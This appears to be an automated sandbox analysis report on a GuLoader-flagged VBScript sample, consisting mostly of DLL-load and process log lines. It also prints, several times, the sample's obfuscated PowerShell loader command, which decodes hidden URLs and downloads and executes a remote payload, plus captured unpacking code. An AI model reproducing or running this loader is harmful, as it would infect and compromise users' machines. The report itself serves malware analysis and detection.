Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\dllhost.exe	Section loaded: mswsock.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.2568643085.00000000074F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb>'_ source: powershell.exe, 0000000C.00000002.2576839045.0000000008440000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: msiexec.exe, 00000013.00000003.2708032170.0000000024620000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 00000013.00000003.2708153833.0000000024740000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: msiexec.exe, 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: msiexec.exe, 00000013.00000003.2707520007.0000000024620000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: msiexec.exe, 00000013.00000003.2707520007.0000000024620000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: msiexec.exe, 00000013.00000003.2708452120.0000000024620000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: msiexec.exe, 00000013.00000003.2708032170.0000000024620000.00000004.00000001.00020000.00000000.sdmp, msiexec.exe, 00000013.00000003.2708153833.0000000024740000.00000004.00000001.00020000.00000000.sdmp

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Fors", "Unsupported parameter type 00000000")

Yara detected GuLoader

Source: Yara match	File source: 0000000C.00000002.2587424244.000000000C6DB000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2587069409.0000000008A10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2557862316.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2340099936.0000020FC41F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

.NET source code contains potential unpacker

Source: 23.3.svchost.exe.155e7abc070.0.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 23.3.svchost.exe.155e7abc070.0.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 23.3.svchost.exe.155e7abc070.1.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 23.3.svchost.exe.155e7abc070.1.raw.unpack, Runtime.cs	.Net Code: CoreMain

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Frdigbygget)$glObal:FlJLsGRS = [sYsTEm.TExt.eNCOdING]::AsCiI.GeTsTRIng($EpocHE)$glObaL:BAttaLia=$FlJLsGRS.substRInG($VeLFUndErEDE,$aUTorIsERendeS)<#Aecidioform hollnderens Brutaliser
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Personifier $Tarentine $Patenthavere), (Ichthyized @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:varicoloreds = [AppDomain]::CurrentDomain.GetAssemblies(
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Filamentgarn252)), $Godsejernessandrous).DefineDynamicModule($Zoologiskes, $false).DefineType($Prototypevaerktoej, $Grunge, [System.Mu
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Frdigbygget)$glObal:FlJLsGRS = [sYsTEm.TExt.eNCOdING]::AsCiI.GeTsTRIng($EpocHE)$glObaL:BAttaLia=$FlJLsGRS.substRInG($VeLFUndErEDE,$aUTorIsERendeS)<#Aecidioform hollnderens Brutaliser

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Blodudtrdningen='Afhndede';;$noncooperator='Cryophorus';;$Thalassinian='Josephina';;$Maste193='Forslvendes';;$Downthrust=$host.Name; function Symboltabeller($blowtube){If ($Downthrust) {$Morphogenic='Ukammerater';$overstegne=2;$Smugleriernes=$overstegne}do{$Usaglige+=$blowtube[$Smugleriernes];$Smugleriernes+=3} until(!$blowtube[$Smugleriernes])$Usaglige}function cleavingly($Ethnicon){ .($Gudmors) ($Ethnicon)}$Medioanterior=Symboltabeller 'ben EExtTw.F W';$Medioanterior+=Symboltabeller 'ReeUnbLacb,lO,i keBrn FT';$Forstdelsernes=Symboltabeller 'RyM Ro Dz.riOpl,alDeaAm/';$Udlodning=Symboltabeller 'P T.klBls F1Se2';$Rival='N [,in Be STTr.FjSasE MRGivmoISaCNeE MPBeO CIBoNAnTTiME a lnEdApaGDoEcor,l] : D: Ss eMoc u KrS i TtSaYFoPB.R SO t po BCKlO,rlF =Vu$ US DDuld Oped eN,eI dNNiG';$Forstdelsernes+=Symboltabeller 'Mo5S .No0Mo t(TiWImi.on Pd oAvwDosO. lyNChTF. p1 e0Me.Af0K,;Ap CoWT iMinSn6 4F ; Unx,a6 u4Ac; l FarGrvGa:.e1ab3U 1In.S 0 F)La LoGU,e KcHokIno l/.u2Sh0 e1Un0Ha0me1 f0Sa1 i KeFIdi ArGre rf Jo nx L/T 1,a3Ac1Ca. ,0';$Hoejkulturer=Symboltabeller ' DUansGnEB RTi- AUdg ,E oN .t';$Eliksirers=Symboltabeller '.oh pt tc,pAnsPl:fe/Ni/ChwInw hwD . atUndSkeSij .bDe.Chc ho Am ./Exew fSk/ STokPriSlf tP eP r nn xeT .ScsChe ea E>Unh FtD,t Np she:Fl/.l/,iw SwBew .O a,krGeeMrcseo ksA aFolaud GaGatAnu SrMie,e.Spi Kt ./ SeEnfPf/ RS.ekEtiInfSutMeeH.r,anAmeAd.V sAne Ia';$Programmeringsskik1=Symboltabeller 'A >';$Gudmors=Symboltabeller ' BIC eH x';$Strudsmaven='Circumscript';$Fastprissystemet='\Even.Lar';cleavingly (Symboltabeller '.a$EsGA.LEpOArbLaaKaL e: ai GoVeD fi Sn .ETrs B=A,$StEBrNU vAp:EmaB pMaPMedC a TT aGu+S $ FE,ABes TSepSirFoiges.es,uYTis.mT teO mS.EK,t');cleavingly (Symboltabeller ' C$anG oLKvOHaBRoa LKv:SpVK A .aPabLoeReNBoFRuATeBDeR AiStKDy=Pr$ rESolazI dKT,S kISkRUnE .R FSCh.SaSnePPrLOpiTetRa( a$AnPSyr rOUbGVirFuaViM.aMSkeFor ei oND.G WSM sR kPriHekTe1 ,)');cleavingly (Symboltabeller $Rival);$Eliksirers=$Vaabenfabrik[0];$portor=(Symboltabeller 'Re$PrG,tLNeoW,BS.AP lF,:.aAFrTDiENol I ,e kR .v eiDeN FdWhUmeER = aNU eNyWIn- koTrbStj,yEBrcMiTDe BesRyy oS.ttr.eA mKa. i$ Bm leLyd SIRaoUlApenA.T eeDir itho r');cleavingly ($portor);cleavingly (Symboltabeller 'S $.iaVitBaeMilMiitoeWirInvEgiUnnTidDuuPae e. HS eS a dpreScr ,s S[Wu$VrHRuo,pe jH,kscu ul ktHyuenrU eD r e].r=An$PlFP oBirPasAdtKad.be ElBisA eNerL nTeeFus');$Pastina=Symboltabeller 'Ve$Sea etT,e ll oi,oeMirRuvKaiMin TdOpu aeSk. fD Uo wOpn Cl,ioDeaL d KF,ei el SeD (Bo$SaEFel li,ikNas Ei nr DeCorBesbe,In$ SBotFieM.mFin Pi bnDdg osH.fApu PlLedObtOt)';$Stemningsfuldt=$Iodines;cleavingly (Symboltabeller 'Sm$ AGK.lAnOC,bG.A.rl u:AfW IeMoe ukMdeChN eD HUS DseFAal,ru gRetUnEHar Tn fe IS t= E(erTC E SUnTp -Alp rAO,TFohC Vi$,rS nTKie SM Bn aIUnnEggFis.oFwaur LAfd T.a)');while (!$Weekendudflugternes) {cleavingly (Symboltabeller ' G$GegHelB,o ,b a KlAn:TrF,no De	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD342300BD pushad ; iretd	5_2_00007FFD342300C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD342332FA push eax; retf	5_2_00007FFD34233321
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD343090F8 push eax; iretd	5_2_00007FFD343090F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_07841CB4 pushfd ; ret	12_2_07841CBD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_09363975 push ebx; retf	12_2_09363995
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_09366368 push ds; ret	12_2_09366369
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0936CF44 push eax; ret	12_2_0936CF4A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_093663AE push 0000001Ch; iretd	12_2_093663B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0936418C push FFFFFFF9h; retf	12_2_09364192
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_0936CDE6 push edx; retf	12_2_0936CDE8
